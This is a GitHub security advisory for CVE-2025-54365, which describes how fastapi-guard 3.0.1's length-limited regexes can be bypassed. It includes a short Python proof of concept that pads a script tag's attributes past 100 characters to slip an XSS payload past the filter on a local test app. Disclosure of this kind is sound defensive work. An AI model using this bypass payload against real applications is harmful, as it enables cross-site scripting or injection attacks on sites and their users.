ghsa-rrf6-pxg8-684g
Vulnerability from github
Summary
The regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit.
Details
In version 3.0.1, you can find a commit like the one in the link below, which was made to prevent ReDoS. https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f
This commit mitigates the vulnerability by limiting the length of the input string, as shown in the example below.
r"<script[^>]*>[^<]*<\\/script\\s*>" -> <script[^>]{0,100}>[^<]{0,1000}<\\/script\\s{0,10}>
This type of patch fails to catch cases where the string representing the attributes of a tag exceeds 100 characters. Therefore, most of the regex patterns present in version 3.0.1 can be bypassed.
PoC
- clone the fastapi-guard repository
- Navigate to the examples directory and modify the main.py source code. Change the HTTP method for the root route from GET to POST.
- After that, set up the example app environment by running the docker-compose up command. Then, run the Python code below to verify that the two requests return different results.
```python import requests
URL = "http://localhost:8000"
obvious_payload = { "obvious" : "alert(1);" } response = requests.post(url=URL, json=obvious_payload) print(f"[+] response of first request: {response.text}")
bypassed_payload = { "suspicious" : f'alert(1)' }
response = requests.post(url=URL, json=bypassed_payload) print(f"[+] response of second request: {response.text}")
```
Impact
Due to this vulnerability, most of the regex patterns can potentially be bypassed, making the application vulnerable to attacks such as XSS and SQL Injection.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "fastapi-guard"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.1"
},
{
"fixed": "3.0.2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.0.1"
]
}
],
"aliases": [
"CVE-2025-54365"
],
"database_specific": {
"cwe_ids": [
"CWE-185",
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-23T15:31:12Z",
"nvd_published_at": "2025-07-23T23:15:24Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit.\n\n### Details\n\nIn version 3.0.1, you can find a commit like the one in the link below, which was made to prevent ReDoS.\nhttps://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f\n\nThis commit mitigates the vulnerability by limiting the length of the input string, as shown in the example below.\n`r\"\u003cscript[^\u003e]*\u003e[^\u003c]*\u003c\\\\/script\\\\s*\u003e\"` -\u003e `\u003cscript[^\u003e]{0,100}\u003e[^\u003c]{0,1000}\u003c\\\\/script\\\\s{0,10}\u003e`\n\nThis type of patch fails to catch cases where the string representing the attributes of a \u003cscript\u003e tag exceeds 100 characters.\nTherefore, most of the regex patterns present in version 3.0.1 can be bypassed.\n\n### PoC\n\n1. clone the fastapi-guard repository\n2. Navigate to the examples directory and modify the main.py source code. Change the HTTP method for the root route from GET to POST.\n\u003cimg width=\"1013\" height=\"554\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cf93ea37-2fd7-4251-abb6-b55f88685f54\" /\u003e\n3. After that, set up the example app environment by running the docker-compose up command. Then, run the Python code below to verify that the two requests return different results.\n\n```python\nimport requests\n\nURL = \"\u003chttp://localhost:8000\u003e\"\n\nobvious_payload = {\n \"obvious\" : \"\u003cscript\u003ealert(1);\u003c/script\u003e\"\n}\nresponse = requests.post(url=URL, json=obvious_payload)\nprint(f\"[+] response of first request: {response.text}\")\n\nbypassed_payload = {\n \"suspicious\" : f\u0027\u003cscript id=\"i_can_bypass_regex_filtering{\u0027a\u0027*100}\"\u003ealert(1)\u003c/script\u003e\u0027\n}\n\nresponse = requests.post(url=URL, json=bypassed_payload)\nprint(f\"[+] response of second request: {response.text}\")\n\n```\n\u003cimg width=\"836\" height=\"112\" alt=\"image\" src=\"https://github.com/user-attachments/assets/11dcccb2-6179-44b1-9628-ae0a787e3bb7\" /\u003e\n\n### Impact\n\nDue to this vulnerability, most of the regex patterns can potentially be bypassed, making the application vulnerable to attacks such as XSS and SQL Injection.",
"id": "GHSA-rrf6-pxg8-684g",
"modified": "2025-07-24T12:46:22Z",
"published": "2025-07-23T15:31:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rennf93/fastapi-guard/security/advisories/GHSA-rrf6-pxg8-684g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54365"
},
{
"type": "WEB",
"url": "https://github.com/rennf93/fastapi-guard/commit/0829292c322d33dc14ab00c5451c5c138148035a"
},
{
"type": "WEB",
"url": "https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f"
},
{
"type": "PACKAGE",
"url": "https://github.com/rennf93/fastapi-guard"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "FastAPI Guard has a regex bypass"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.